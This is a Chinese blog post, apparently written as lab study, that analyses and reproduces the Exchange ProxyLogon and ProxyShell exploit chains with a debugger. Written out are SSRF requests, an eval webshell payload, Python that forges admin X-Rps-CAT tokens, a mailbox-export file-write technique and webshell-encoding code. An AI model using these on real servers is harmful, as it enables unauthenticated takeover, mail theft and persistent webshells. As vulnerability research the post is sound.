这篇文章发表于 534 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

ProxyLogon和ProxyShell是很经典的老洞了,最近稍微空了一点,所以来简单学习下,文章写得可能也比较潦草,就这样吧,累了QAQ

环境搭建

含漏洞的Exchange环境搭建可以参考这篇文章。这里不再赘述。但要提两点:

  • win server 2016无法上网可能原因在于DNS的配置。

  • 在该镜像中可能无法直接安装python,解决该问题也许需要参考下这个文章的方法修改注册表。

调试

首先使用C:\Windows\System32\inetsrv\appcmd list wp这个命令对当前的所有Exchange进程进行查看。

1

接着因为要调试的dll文件是FrontEndHttpProxy.dll,如果你不做下一步工作直接去调试的话就会发现很多变量由于优化和一些原因而无法正常显示出来。因此还需要添加一个配置文件C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.ini

1
2
3
[.NET Framework Debugging Control]
GenerateTrackingInfo=1
AllowOptimize=0

修改后建议直接重启机器。我直接重启了Exchange服务似乎并没有什么用 = =(参考这篇文章直接重启相关的Exchange服务),记录下吧,我使用如下命令。

1
$services = Get-Service | ? { $_.name -like "MSExchange*" -and $_.Status -eq "Running"};foreach ($service in $services) {Restart-Service $service.name -Force}

另外,由于那个exchange用到的是dotnet4.x,所以这里需要用到相对应大版本的dotnet编译出来的dnSpy,否则好像会出问题?

于是接下来可以在dnSpy中,点击调试->附加到进程->选中进程->附加,附加到对应的w3wp.exe进程。使用dnSpy打开文件C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll。之后就可以下断点进行调试了。

ProxyLogon 利用

ProxyLogon漏洞其实并非是一个简单漏洞完成的RCE,而是分为两步:

  • 利用CVE-2021-26855这个SSRF漏洞可以绕过Exchange的身份验证

  • 结合前者所获取到的敏感信息,利用CVE-2021-27065文件写入漏洞可在未登录的状态下写小马文件

ProxyLogon利用工具网上多的是,这里来简要看看漏洞的逻辑及其利用方式。

CVE-2021-26855 SSRF漏洞

利用该漏洞,恶意用户可以在远程绕过安全验证向任意端口发送数据。applicationPool.MSExchangeECPAppPool是本次漏洞的相关进程。

先明确一点,直接访问路径/autodiscover/autodiscover.xml(该文件存在着敏感信息)我们得到的网页返回结果是“请求无效”。但该文件其实能够利用如下的漏洞访问到。

接着进行调试,建议找到Microsoft.Exchange.FrontEndHttpProxyBEResourceRequestHandler类并打两个断点:

2

然后发送如下的包(cookie中的X-BEResource可以通过访问/ecp路径获取到):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /ecp/iey8.js HTTP/2
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: X-BEResource=WIN-K8A6O76PFQ2.nese.com/autodiscover/autodiscover.xml?a=~1942063162;
Content-Type: text/xml
Content-Length: 371

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>administrator@nese.com</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>

BEResourceRequestHandler是一个用于处理向后端进行资源型请求的类,如请求js,png,css文件等。它在函数SelectHandlerForUnauthenticatedRequest中被引用,而要创建这个类的实例,首先需要函数BEResourceRequestHandler.CanHandle()返回True。

分析CanHandle函数,可以发现返回True需要以下两个条件:

  • HTTP请求的Cookie中含有X-BEResource键;
  • 请求应是资源型请求,即请求的文件后缀应为规定的文件类型。

3

紧接着需要关注的就是在BackEndServer.FromString函数中对名称X-BEResource的cookie处理。

4

之后主要关注向后端转发的请求URL,这个调用堆栈相对难找,大概是有个队列,在处理完后端服务器的一些配置后才会进行这个URL的转发。

5

6

看以上这些代码可以知道,程序这里通过一些拼凑搞出了一个新的URL并成功发起请求,并且这里有个版本和Server.E15MinVersion的比较相对重要,要大于它才能触发漏洞。最后调试到this.CreateServerRequest(uri);,此函数内部还设置了请求头等等内容,到这一步为止就基本走完前端向后端发送请求的步骤。

Exchange这种前后端的结构非常有趣,难怪是个SSRF的洞但却能够绕过身份验证。

CVE-2021-27065 任意文件写入漏洞

在拥有Exchange管理员的权限时,可以编辑OAB配置中的外部URL来写马。

1
http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange"],"unsafe");}</script>

7

接下来重置虚拟目录,输入木马保存的URL,比如\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\test.aspx

8

写入后访问https://localhost/aspnet_client/test.aspx?orange=即可。

利用过程

这里简单描述下在具体环境中实现利用的过程:

  • 通过SSRF获取FQDN

  • 利用SSRF向autodiscover接口请求以获取LegacyDN

  • 利用SSRF向/mapi/emsmdb接口请求以获取SID

  • 根据刚得到的SID获取管理员的cookie值

  • 通过管理员的cookie值进行文件上传

ProxyShell 利用

ProxyShell链由三部分组成:

  • 利用CVE-2021-34473这个SSRF漏洞可以绕过Exchange的身份验证并访问到后端的敏感信息

  • 结合先前的SSRF漏洞,可以利用CVE-2021-34523提权漏洞向后端的/powershell端点发送Exchange Powershell命令并执行

  • 利用CVE-2021-31207任意文件写入漏洞写入木马文件,其允许攻击者导出邮件内容到指定的路径

CVE-2021-34473 SSRF漏洞

在ProxyLogon之后,Exchange加上了相应的安全补丁,也就无法利用AnchoredRoutingTarget来进行SSRF,但能够绕过鉴权的点并不仅仅只有这个。很快有人发现了GetClientUrlForProxy()这个函数。

对于调试而言,可以先在EwsAutodiscoverProxyRequestHandlerResolveAnchorMailbox函数中添加断点

使用这个/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com请求路径来对漏洞的存在性进行判断。

9

最后同样能够拼接出能泄露敏感信息的URL。进一步地,可以如该文章所述对邮箱用户进行枚举等。

CVE-2021-34523

Exchange PowerShell Remoting功能原生内置于Exchange中,旨在通过命令行协助管理活​​动。之前的漏洞允许攻击者以NT AUTHORITY/SYSTEM的身份与任意后端 URL 进行交互,但是SYSTEM身份没有邮箱,攻击者无法在该权限级别直接与PowerShell后端/Powershell进行交互,必须降权才能访问该端点。

那么来看看该如何访问到这个端点,显然要通过这个SSRF漏洞向/powershell端点进行请求,这里有两点比较关键:

  • 如何请求?

  • 请求的格式是什么样的?

对于第一个问题,PowerShell后端检查传入请求中的X-CommonAccessToken标头。如果标头不存在,则使用另一种方法获取CommonAccessToken:该方法会检查传入请求中的X-Rps-CAT参数,如果存在,则将其反序列化为有效的CommonAccessToken。使用先前收集的有关目标邮箱的信息或来自内置邮箱的默认信息,传递有效的X-Rps-CAT值是轻轻松松的。

可以先发送下面这个包以进行简单调试(断点在文件C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule.dll->RemotePowershellBackendCmdletProxyModule->OnAuthenticateRequest函数内,记得加上对应的.ini文件便于调试,附加进程为MSExchangePowerShellAppPool):

1
2
3
4
5
6
GET /autodiscover/autodiscover.json?a=test@nese.com/powershell/?X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZBZG1pbmlzdHJhdG9yQG5lc2UuY29tVStTLTEtNS0yMS0xMDUyMzAwMTYtMTg5NDgyMDI2OC0zNzUyNzkyOTItNTAwRwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: identity
Cookie: Email=autodiscover/autodiscover.json?a=test@nese.com
Content-Type: application/soap+xml;charset=UTF-8
Content-Length: 0

其中的CommonAccessTokenFromUrl函数就是用来取出X-Rps-CAT参数内容的。

11

对于第二个问题,也就是X-Rps-CAT参数的格式问题,请参考这篇文章(想调试的话断点在C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Net.dll->CommonAccessToken->Deserialize函数中),X-Rps-CAT参数可以通过如下的python代码直接生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def gen_token(uname, sid):
version = 0
ttype = 'Windows'
compressed = 0
auth_type = 'Kerberos'
raw_token = b''
gsid = 'S-1-5-32-544'
# admin的组SID为S-1-5-32-544
# 普通用户的组SID为S-1-5-32-545

version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
compress_data = b'C' + (compressed).to_bytes(1, 'little')
auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
login_data = b'L' + (len(uname)).to_bytes(1, 'little') + uname.encode()
user_data = b'U' + (len(sid)).to_bytes(1, 'little') + sid.encode()
group_data = b'G' + pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode()
ext_data = b'E' + pack('>I', 0)

raw_token += version_data
raw_token += type_data
raw_token += compress_data
raw_token += auth_data
raw_token += login_data
raw_token += user_data
raw_token += group_data
raw_token += ext_data

data = base64.b64encode(raw_token).decode()
return data

# 前者可以相对比较随意,后者SID需要通过SSRF获取得到
# https://learn.microsoft.com/en-US/windows-server/identity/ad-ds/manage/understand-security-identifiers
print(gen_token('administrator@nese.com', 'S-1-5-21-105230016-1894820268-375279292-500'))

10

只要返回200就说明鉴权已经成功了。

接下来需要考虑的就是如何让端点执行powershell命令。

Exchange Powershell Remoting

因为Exchange Powershell Remoting无法在IP地址和localhost域名的情况下被使用,所以需要为Exchange服务器先搞一个证书,可以参考这篇文章实现。由于本地的那个证书其实就OK,所以可以没必要申请,但是域名就是固定的颁发者的名字,还得修改下hosts。

接着就可以用Powershell窗口尝试下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$User = "administrator"
$Pass = ConvertTo-SecureString -AsPlainText P@ssw0rd -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://WIN-K8A6O76PFQ2.nese.com/PowerShell/ -Authentication Kerberos -Credential $Credential
Import-PSSession $Session -AllowClobber

# 利用以上代码建立起连接之后,可以进一步执行些特有的命令,就是和Exchange Management Shell一样
Get-PSSession # 查看PSSession
Remove-PSSession $Session # 断开PSSession
Get-Mailbox # 获取所有邮箱用户
Get-OrganizationalUnit # 列出指定OU(AD中的组织单位)下的所有子OU、用户和计算机等信息

# 列出具有访问remote PowerShell权限的用户
Get-User -ResultSize unlimited -Filter 'RemotePowerShellEnabled -eq $true'
# 查看Organization Management组成员(这些成员具有执行管理Exchange服务器命令的权限)
Get-RoleGroupMember "Organization Management"

# 更为具体的邮件相关的指令参见 https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E4%BB%8EExchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E6%90%9C%E7%B4%A2%E5%92%8C%E5%AF%BC%E5%87%BA%E9%82%AE%E4%BB%B6
# 更多用户相关的指令参见 https://3gstudent.github.io/ProxyShell%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%902-CVE-2021-34523

以上内容就是对Exchange Powershell Remoting的一些补充。


知道如何使用命令后就该思考如何与远程端点/powershell交互通信。WSMan协议就可以做到这一点,这个也和格式什么的相关自己搞起来很耗时间,所以直接看这篇文章里面的实现就好了。

CVE-2021-31207 任意文件写入漏洞

该漏洞主要是利用New-MailboxExportRequest命令实现的。该命令主要是为了导出邮箱中邮件,其使用格式为New-MailboxExportRequest -Mailbox <MailboxIdentity> -FilePath <FilePath>

可以先打开Exchange Management Shell进行一下尝试,比如New-MailboxExportRequest -Mailbox "administrator@nese.com" -FilePath "\\127.0.0.1\c$\Users\Administrator\Desktop\administrator.aspx"。我们能够顺利发现一个文件,这意味着可以写东西。如果邮件中存在着一句话木马,那么它并不会被编码:

12

若是想要导出含有限定条件的邮件,那么只要加上-ContentFilter {(body -like "payload Flag")}选项(导出body中含有payload Flag的邮件)即可。

貌似在公开的exp中很多都是将payload放在附件中的,这个可能会被编码。以下代码摘自这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python
#coding: UTF-8

import base64
import six
from io import BytesIO

DWORD_SIZE = 4
mpbbCrypt = [ 65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, 93, 30, 242, 203, 42, 116, 197, 94, 53, 210, 149, 71, 158, 150, 45, 154, 136, 76, 125, 132, 63, 219, 172, 49, 182, 72, 95, 246, 196, 216, 57, 139, 231, 35, 59, 56, 142, 200, 193, 223, 37, 177, 32, 165, 70, 96, 78, 156, 251, 170, 211, 86, 81, 69, 124, 85, 0, 7, 201, 43, 157, 133, 155, 9, 160, 143, 173, 179, 15, 99, 171, 137, 75, 215, 167, 21, 90, 113, 102, 66, 191, 38, 74, 107, 152, 250, 234, 119, 83, 178, 112, 5, 44, 253, 89, 58, 134, 126, 206, 6, 235, 130, 120, 87, 199, 141, 67, 175, 180, 28, 212, 91, 205, 226, 233, 39, 79, 195, 8, 114, 128, 207, 176, 239, 245, 40, 109, 190, 48, 77, 52, 146, 213, 14, 60, 34, 50, 229, 228, 249, 159, 194, 209, 10, 129, 18, 225, 238, 145, 131, 118, 227, 151, 230, 97, 138, 23, 121, 164, 183, 220, 144, 122, 92, 140, 2, 166, 202, 105, 222, 80, 26, 17, 147, 185, 82, 135, 88, 252, 237, 29, 55, 73, 27, 106, 224, 41, 51, 153, 189, 108, 217, 148, 243, 64, 84, 111, 240, 198, 115, 184, 214, 62, 101, 24, 68, 31, 221, 103, 16, 241, 12, 25, 236, 174, 3, 161, 20, 123, 169, 11, 255, 248, 163, 192, 162, 1, 247, 46, 188, 36, 104, 117, 13, 254, 186, 47, 181, 208, 218, 61, 20, 83, 15, 86, 179, 200, 122, 156, 235, 101, 72, 23, 22, 21, 159, 2, 204, 84, 124, 131, 0, 13, 12, 11, 162, 98, 168, 118, 219, 217, 237, 199, 197, 164, 220, 172, 133, 116, 214, 208, 167, 155, 174, 154, 150, 113, 102, 195, 99, 153, 184, 221, 115, 146, 142, 132, 125, 165, 94, 209, 93, 147, 177, 87, 81, 80, 128, 137, 82, 148, 79, 78, 10, 107, 188, 141, 127, 110, 71, 70, 65, 64, 68, 1, 17, 203, 3, 63, 247, 244, 225, 169, 143, 60, 58, 249, 251, 240, 25, 48, 130, 9, 46, 201, 157, 160, 134, 73, 238, 111, 77, 109, 196, 45, 129, 52, 37, 135, 27, 136, 170, 252, 6, 161, 18, 56, 253, 76, 66, 114, 100, 19, 55, 36, 106, 117, 119, 67, 255, 230, 180, 75, 54, 92, 228, 216, 53, 61, 69, 185, 44, 236, 183, 49, 43, 41, 7, 104, 163, 14, 105, 123, 24, 158, 33, 57, 190, 40, 26, 91, 120, 245, 35, 202, 42, 176, 175, 62, 254, 4, 140, 231, 229, 152, 50, 149, 211, 246, 74, 232, 166, 234, 233, 243, 213, 47, 112, 32, 242, 31, 5, 103, 173, 85, 16, 206, 205, 227, 39, 59, 218, 186, 215, 194, 38, 212, 145, 29, 210, 28, 34, 51, 248, 250, 241, 90, 239, 207, 144, 182, 139, 181, 189, 192, 191, 8, 151, 30, 108, 226, 97, 224, 198, 193, 89, 171, 187, 88, 222, 95, 223, 96, 121, 126, 178, 138, 71, 241, 180, 230, 11, 106, 114, 72, 133, 78, 158, 235, 226, 248, 148, 83, 224, 187, 160, 2, 232, 90, 9, 171, 219, 227, 186, 198, 124, 195, 16, 221, 57, 5, 150, 48, 245, 55, 96, 130, 140, 201, 19, 74, 107, 29, 243, 251, 143, 38, 151, 202, 145, 23, 1, 196, 50, 45, 110, 49, 149, 255, 217, 35, 209, 0, 94, 121, 220, 68, 59, 26, 40, 197, 97, 87, 32, 144, 61, 131, 185, 67, 190, 103, 210, 70, 66, 118, 192, 109, 91, 126, 178, 15, 22, 41, 60, 169, 3, 84, 13, 218, 93, 223, 246, 183, 199, 98, 205, 141, 6, 211, 105, 92, 134, 214, 20, 247, 165, 102, 117, 172, 177, 233, 69, 33, 112, 12, 135, 159, 116, 164, 34, 76, 111, 191, 31, 86, 170, 46, 179, 120, 51, 80, 176, 163, 146, 188, 207, 25, 28, 167, 99, 203, 30, 77, 62, 75, 27, 155, 79, 231, 240, 238, 173, 58, 181, 89, 4, 234, 64, 85, 37, 81, 229, 122, 137, 56, 104, 82, 123, 252, 39, 174, 215, 189, 250, 7, 244, 204, 142, 95, 239, 53, 156, 132, 43, 21, 213, 119, 52, 73, 182, 18, 10, 127, 113, 136, 253, 157, 24, 65, 125, 147, 216, 88, 44, 206, 254, 36, 175, 222, 184, 54, 200, 161, 128, 166, 153, 152, 168, 47, 14, 129, 101, 115, 228, 194, 162, 138, 212, 225, 17, 208, 8, 139, 42, 242, 237, 154, 100, 63, 193, 108, 249, 236]

mpbbR = mpbbCrypt
mpbbS = mpbbCrypt[256:]
mpbbI = mpbbCrypt[512:]

def cryptpermute(data, encrypt=False):
table = mpbbR if encrypt else mpbbI
tmp = [table[v] for v in data] if six.PY3 else [table[ord(v)] for v in data]
i = 0
buf = bytes(tmp) if six.PY3 else bytearray(tmp)
stream = BytesIO(buf)
while True:
b = stream.read(DWORD_SIZE)
try:
tmp[i] = b[0]
tmp[i + 1] = b[1]
tmp[i + 2] = b[2]
tmp[i + 3] = b[3]
i += DWORD_SIZE
except:
pass
if len(b) != DWORD_SIZE:
break
return bytes(tmp) if six.PY3 else ''.join(tmp)

if __name__ == "__main__":
webshell = b"d"
v1 = cryptpermute(webshell, False)
b64_data = base64.b64encode(v1).decode()
print("[+] Encode webshell \n{}\n".format(b64_data))
encode_shell = base64.b64decode(b64_data)
decode_shell = cryptpermute(encode_shell, True)
print("[+] Decode webshell \n{}\n".format(decode_shell.decode()))

参考文献

MS Exchange的新攻击面,第1部分:ProxyLogon!

Exchange CVE-2021-26855 RCE漏洞复现 - SAUCERMAN

Exchange ProxyLogon漏洞分析 - nice_0e3 - 博客园

Exchange漏洞分析(一):SSRF RCE(CVE-2021-26855、CVE-2021-27065)-安全客 - 安全资讯平台

My Steps of Reproducing ProxyShell

[Timeline Sec]-2021-8-25-Exchange ProxyShell 远程代码执行漏洞复现

关于ProxyShell的NSA Meeting漏洞分析

Exchange “ProxyLogon”系列漏洞分析 - HackMD

ProxyShell利用分析1——CVE-2021-34473

PST, Want a Shell? ProxyShell Exploiting Microsoft Exchange Servers

IIS部署https网站使用自签名证书和https绑定域名